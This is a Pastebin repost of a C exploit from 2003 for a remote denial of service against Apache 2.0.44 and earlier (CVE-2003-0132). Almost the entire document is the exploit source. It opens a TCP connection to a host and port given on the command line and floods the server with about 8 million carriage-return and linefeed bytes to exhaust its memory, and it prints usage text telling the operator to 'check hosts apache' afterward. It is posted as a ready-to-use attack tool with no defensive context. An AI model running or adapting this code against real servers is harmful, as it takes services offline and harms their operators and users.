Advertisement
FlyFar

Apache 2.0.44 (Linux) - Remote Denial of Service - CVE-2003-0132

Jan 24th, 2024
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.26 KB | Cybersecurity | 0 0
  1. /******** th-apachedos.c ********************************************************
  2. * *
  3. * Remote Apache DoS exploit *
  4. * ------------------------- *
  5. * Written as a poc for the: *
  6. *
  7. * This program sends 8000000 \n's to exploit the Apache memory leak. *
  8. * Works from scratch under Linux, as opposed to apache-massacre.c . *
  9. *
  10. *
  11. * Daniel Nyström <exce@netwinder.nu> *
  12. *
  13. * - www.telhack.tk - *
  14. *
  15. ******************************************************** th-apachedos.c ********/
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <errno.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <netdb.h>
  24. #include <sys/socket.h>
  25.  
  26.  
  27. int main(int argc, char *argv[])
  28. {
  29. int sockfd;
  30. int count;
  31. char buffer[8000000];
  32. struct sockaddr_in target;
  33. struct hostent *he;
  34.  
  35. if (argc != 3)
  36. {
  37. fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
  38. fprintf(stderr, "\n----------------------------------------------");
  39. fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
  40. exit(-1);
  41. }
  42.  
  43. printf("\nTH-Apache DoS\n");
  44. printf("-------------\n");
  45. printf("-> Starting...\n");
  46. printf("->\n");
  47.  
  48. // memset(buffer, '\n', sizeof(buffer)); /* testing */
  49.  
  50. for (count = 0; count < 8000000;)
  51. {
  52. buffer[count] = '\r'; /* 0x0D */
  53. count++;
  54. buffer[count] = '\n'; /* 0x0A */
  55. count++;
  56. }
  57.  
  58. if ((he=gethostbyname(argv[1])) == NULL)
  59. {
  60. herror("gethostbyname() failed ");
  61. exit(-1);
  62. }
  63.  
  64. memset(&target, 0, sizeof(target));
  65. target.sin_family = AF_INET;
  66. target.sin_port = htons(atoi(argv[2]));
  67. target.sin_addr = *((struct in_addr *)he->h_addr);
  68.  
  69. printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
  70. printf("->\n");
  71.  
  72. if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  73. {
  74. perror("socket() failed ");
  75. exit(-1);
  76. }
  77.  
  78. if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
  79. {
  80. perror("connect() failed ");
  81. exit(-1);
  82. }
  83.  
  84. printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
  85. atoi(argv[2]));
  86. printf("->\n");
  87.  
  88. if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
  89. {
  90. perror("send() failed ");
  91. exit(-1);
  92. close(sockfd);
  93. }
  94.  
  95.  
  96. close(sockfd);
  97.  
  98. printf("-> Finished smoothly, check hosts apache...\n\n");
  99. }
  100.  
  101. // milw0rm.com [2003-04-11]
  102.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement